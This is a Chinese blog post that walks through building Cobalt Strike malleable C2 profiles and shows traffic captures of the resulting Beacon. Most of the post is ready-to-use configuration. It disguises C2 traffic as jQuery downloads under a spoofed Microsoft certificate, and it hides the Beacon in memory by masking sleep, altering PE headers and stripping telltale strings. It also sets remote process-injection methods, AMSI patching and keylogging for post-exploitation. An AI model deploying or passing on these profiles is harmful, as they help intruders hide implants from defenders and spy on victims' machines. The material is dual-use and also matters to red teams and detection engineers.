type
Post
status
Published
date
Jul 2, 2024
slug
summary
tags
攻防
工具
category
技术分享
icon
password
Property
Jul 2, 2024 06:01 AM
Profile介绍
Cobalt Strike工具的主要配置是使用profile配置文件指定的。该工具使用配置文件中的值来生成 Beacon 有效负载,用户创建配置文件并使用可延展命令和控制(C2)配置文件语言设置其值。为CS设置有效的profile配置文件,可以起到对CS流量、内存进行混淆的作用。

#这是一个简单的模板 ###global options### set sleeptime "10000"; # 睡眠时间,单位ms,可选择长一点 set jitter "0"; # 睡眠抖动时间,百分比0-99 #set host_stage "false"; # 设置所有的Payload都为Stageless,提高安全性 set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0"; ###SSL Options### #https-certificate { #set keystore "your_store_file.store"; #set password "your_store_pass"; #} https-certificate { set C "US"; # 单位的两字母国家代码 set CN "Microsoft IT TLS CA 2"; # 通用名称 set L "Redmond"; # 城市或区域名称 set O "Microsoft Corporation"; # 组织名称 set OU "Microsoft IT"; # 组织单位名称 set ST "Washington"; # 州或省份名称 set validity "365"; } ##CODE-SIGNER Block### code-signer{ # 用于签名 Windows Executable and Windows Executable (S),确保Payload一致性 set keystore "cobaltstrike1.store"; set password "password"; set alias "certificate"; } ###HTTP-GET Block### http-get { set uri "/login /config /admin /history"; # 自定义多个url请求路径,以空格相隔 # GET请求头部 client { # header "Host" "www.xxxx.com"; header "Accept" "*/*"; header "Accept-Language" "en-US"; header "Connection" "close"; metadata { netbiosu; # netbios(大写)编码 append ".php"; # 追加参数内容尾缀 parameter "file"; # 将内容放在新增的url参数中 #prepend "user="; # 追加参数内容前缀 #header "Cookie"; # 添加到HTTP Cookie头中 } } server { # 该GET请求返回包头部 header "Content-Type" "text/plain"; output { base64; # 将内容base64编码传回 print; # 将内容输出于HTTP Body中 } } } ###HTTP-Post Block### http-post { set uri "/page= /index="; # 不能与http-get的url请求路径完全相同 # POST请求头部 client { # header "Host" "www.baidu.com"; header "Accept" "*/*"; header "Accept-Language" "en"; header "Connection" "close"; id { netbios; append ".php"; uri-append; # 追加到url末尾 } output { base64; print; } } server { output { base64; print; } } }
- 全局选项:这是一些设置C2服务器的基本参数的选项,比如设置使用的SSL证书文件,设置服务器端口等。
- http-stager:这部分设置用于控制使用HTTP或HTTPS协议的stager的行为。比如,可以设置User-Agent、URI、POST请求的数据格式等。
- http-get:这部分设置用于控制Beacon从C2服务器获取任务时发送的HTTP GET请求的格式。
- http-post:这部分设置用于控制Beacon向C2服务器发送数据时发送的HTTP POST请求的格式。
- metadata:这部分设置用于控制Beacon和C2服务器交换的元数据的格式。
官方profile配置模板参考:https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm#_Toc65482834
流量侧
以http/https为例,木马和CS服务端进行http通信的时候是通过GET或POST等方法直接进行传输的,这样的话攻击流量就会很容易的被识别到,因此可通过TLS加密也可以通过配置profile进行混淆,建议一起食用。
profile配置文件中对GET和POST请求包做了内容新增,使得流量看起来不那么恶意。以下profile是我根据https://github.com/threatexpress/malleable-c2/tree/master进行仿写的,该项目主要利用了主流的javascript库做的混淆

set sample_name "t"; set sleeptime "10000"; set jitter "0"; set maxdns "255"; set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"; http-get { set uri "/js/jquery-3.3.1.min.js"; client { header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; #如走cdn,可设置HOST header "Referer" "http://code.jquery.com/"; header "Accept-Encoding" "gzip, deflate"; metadata { base64; prepend "__cfduid="; header "Cookie"; } } server { header "Content-Type" "application/ocsp-response"; header "Cache-Control" "max-age=0, no-cache"; header "content-transfer-encoding" "binary"; header "Server" "Nodejs"; output { base64; prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:\"jQuery\"+(\"3.3.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),\"function\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=\"\r"; prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */"; append "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});"; print; } } } http-stager { set uri_x86 "/js/jquery-3.3.1.slim.min.js"; set uri_x64 "/js/jquery-3.3.2.slim.min.js"; } http-post { set uri "/js/jquery-3.3.2.min.js"; client { header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; header "Referer" "http://code.jquery.com/"; header "Accept-Encoding" "gzip, deflate"; id { base64; prepend "__cfduid"; header "Cookie"; } output { base64; print; } } server { header "Content-Type" "application/ocsp-response"; header "Cache-Control" "max-age=0, no-cache"; header "content-transfer-encoding" "binary"; header "Connection" "keep-alive"; output { base64; prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:\"jQuery\"+(\"3.3.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),\"function\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=\"\r"; prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */"; append "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});"; print; } } }
从以上profile文件中可以看到我对header、url、回显信息做了混淆,并且尝试能正常执行。更多关于流量的profile配置内容可参考:https://wbglil.gitbook.io/cobalt-strike/cobalt-strikekuo-zhan/malleable-c2#http-get

wireshark
木马需要从本地去解析云函数地址,返回了云函数服务器IP,因此DNS流量中是可以看到云函数地址的

通过抓取流量可以通过请求或返回包大小来判断区分心跳和行为流量包

而传输内容都做了https加密,且服务端使用了本地注册的keystore

burpsuite(本地证书)
在本地安装了burpsuite证书进行抓包。由于我们通过设置profile中的append作为CS服务端的回传信息,我们仔细看
return-1},P="
后内容心跳
从数据包上看可以看到木马发送请求包内容中有profile设置好的url、header等信息,设置了指定的cookie字段存放传输系统有关的元数据,返回包内容也与profile配置文件中的一致

执行命令
由于心跳回连服务端的关系,木马需要从服务端返回包信息中提取出需要做的动作,例如我在这个会话执行了shell ipconfig

等木马完成行为后,将执行结果通过POST请求包发送至服务端,咱们的客户端console才能够回显正常信息

主机侧
无阶段payload会远程加载并执行stage,其实这个stage就是一个反射dll(Beacon Dll),通过修改stage块的内容可以扩展Beacon Dll的功能,以此达到一定的混淆效果。在stage标签中可以设置beacon的元数据修改、在内存中的属性、数据的替换、加解密混淆等
//设置执行反射dll所分配的内存属性,true为RWX,false为RX set userwx "false"; //设置true后,会抹去存放在内存中的反射DLL set cleanup "true"; //设置为true时,Beacon会加入一段加解密函数,会对数据和代码进行异或加密,3.11版本是单字节异或,4.2版本是13字节异或。 set sleep_mask "true"; //设置为true时能对MZ、PE和e_lfanew的值进行混淆,这样能使根据MZ等关键字的内存匹配失效 set stomppe "true"; //设置为true时,能混淆dll的导入表、区段名等信息 set obfuscate "true"; //开启智能注入,尝试避免在注入Beacon时引起异常 set smartinject "true"; //设置内存分配器的类型,默认的内存分配器 VirtualAlloc,可以选择使用 HeapAlloc 或 MapViewOfFile 来替代。 set allocator "VirtualAlloc"; //从文件静态特征上做混淆 //设置PE头部的校验和 set checksum "0"; //设置PE、DLL程序编译时间 set compile_time "11 Nov 2014 06:18:30"; //设置PE头部的入口点 set entry_point "650688"; // 设置PE头部的图像大小(x86) set image_size_x86 "4661248"; //设置PE头部的图像大小(x64) set image_size_x64 "4661248"; //设置PE头部的名称 set name "srv.dll"; //定义用于替换Beacon反射性DLL的PE头的自定义字节 set magic_pe "LE"; //设置用于替换Beacon反射性DLL的Rich Header的自定义字节 set rich_header "\x3e\x98\xfe\x75\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x73\x81\x03\x26\xfc\xf9\x90\x26\x17\xa4\x93\x27\x79\xf9\x90\x26\x7a\xf9\x91\x26\x83\xfd\x90\x26\x17\xa4\x91\x27\x65\xf9\x90\x26\x17\xa4\x95\x27\x77\xf9\x90\x26\x17\xa4\x94\x27\x6c\xf9\x90\x26\x17\xa4\x9e\x27\x56\xf8\x90\x26\x17\xa4\x6f\x26\x7b\xf9\x90\x26\x17\xa4\x92\x27\x7b\xf9\x90\x26\x52\x69\x63\x68\x7a\xf9\x90\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; //transform-x86和transform-x64标签,strrep标签中主要是修改替换反射dll中的固定字符,以防止被文件静态特征所匹配 transform-x86 { prepend "\x90\x90\x90"; strrep "ReflectiveLoader" ""; strrep "beacon.dll" ""; strrep "This program cannot be run in DOS mode" ""; } ......
process-inject标签
process-inject标签是用于控制 Beacon 在注入到远程进程时的行为。在进行攻击时,攻击者可能会尝试将 Beacon 注入到一个正在运行的进程中以实现持久化和隐藏
以下代码是Cobalt Strike配置中进程注入部分的设置,定义了Cobalt Strike如何在远程进程中注入和执行代码。
- 设置使用VirtualAllocEx函数为远程进程分配内存
- 内存分配的最小值设为7814字节
- 指定新分配的内存区域不应该具有读、写和执行(RWX)权限
- 允许在分配和写入载荷之前,内存区域具有读、写和执行(RWX)权限
- 在注入的代码前添加了几个NOP(无操作)指令,避免某些防御机制的检测
- 定义了多种在远程进程中执行代码的方法,提供进程注入的灵活性,更难被防御措施检测
process-inject { // 设置远程内存分配技术 set allocator "VirtualAllocEx"; // 形状注入内容和属性 set min_alloc "7814"; //# 设置内存分配的最小值为7814字节 set userwx "false"; // 分配的内存不应具有读、写和执行(RWX)权限 set startrwx "false"; // 注入代码前,内存不应被设置为具有读、写和执行(RWX)权限 transform-x86 { // 在注入的代码前添加 NOP (无操作)指令 prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; // NOP, NOP! } transform-x64 { // 在注入的代码前添加 NOP (无操作)指令 prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; // NOP, NOP! } // 指定在远程进程中执行代码的方法 execute { CreateThread "ntdll.dll!RtlUserThreadStart+0x2285"; // 使用CreateThread函数执行代码 NtQueueApcThread-s; // 使用NtQueueApcThread-s函数执行代码 SetThreadContext; // 使用SetThreadContext函数执行代码 CreateRemoteThread; // 使用CreateRemoteThread函数执行代码 CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000"; // 使用CreateRemoteThread函数并偏移执行代码 RtlCreateUserThread; // 使用RtlCreateUserThread函数执行代码 } }
post-ex标签
在Cobalt Strike的Beacon payload中是用来配置后期执行(post-exploitation)阶段的一些参数。这些参数主要影响和控制如何创建新的进程、怎样注入和执行代码、如何混淆和隐藏行为以及如何收集和传输数据等。
攻击者在拥有目标系统的访问权限后,通常需要进行一系列的后期执行活动,这些活动需要对目标系统进行一系列复杂的操作,如创建和管理新的进程、注入和执行代码、使用不同的通信方式来传输数据等。post-ex标签就是用来配置和控制这些操作的一系列参数。
post-ex { // 控制我们产生的临时进程。Beacon将产生一个临时进程,将shellcode注入其中,并让新的进程执行这个shellcode。 set spawnto_x86 "%windir%\\syswow64\\svchost.exe"; // 对于32位payloads set spawnto_x64 "%windir%\\sysnative\\svchost.exe"; // 对于64位payloads // 改变我们的post-ex DLLs的权限和内容。此设置启用对Beacon用于post-ex任务的DLLs(如键盘记录或令牌操作)的混淆。 set obfuscate "true"; // 更改我们的post-ex输出命名管道名称。此设置允许控制Beacon用于从作业中检索输出的命名管道。 set pipename "srvsvc-1-5-5-0####"; // 将关键函数指针从Beacon传递到其子作业。启用smart注入将使Beacon将带有关键函数指针的数据结构传递给其post-ex作业。 set smartinject "true"; // 允许多线程post-ex DLLs产生带有伪装起始地址的线程。 // set thread_hint "module!function+0x##"; // 在powerpick、execute-assembly和psinject中禁用AMSI。此选项将会在目标进程中修补AMSI。 set amsi_disable "true"; // 控制用于记录键盘击键的方法 set keylogger "SetWindowsHookEx"; }
- Author:w1nk1
- URL:https://notion-w1nk1.vercel.app//article/fd9992e2-ded0-4455-b717-73e352ecbbd3
- Copyright:All articles in this blog, except for special statements, adopt BY-NC-SA agreement. Please indicate the source!
Relate Posts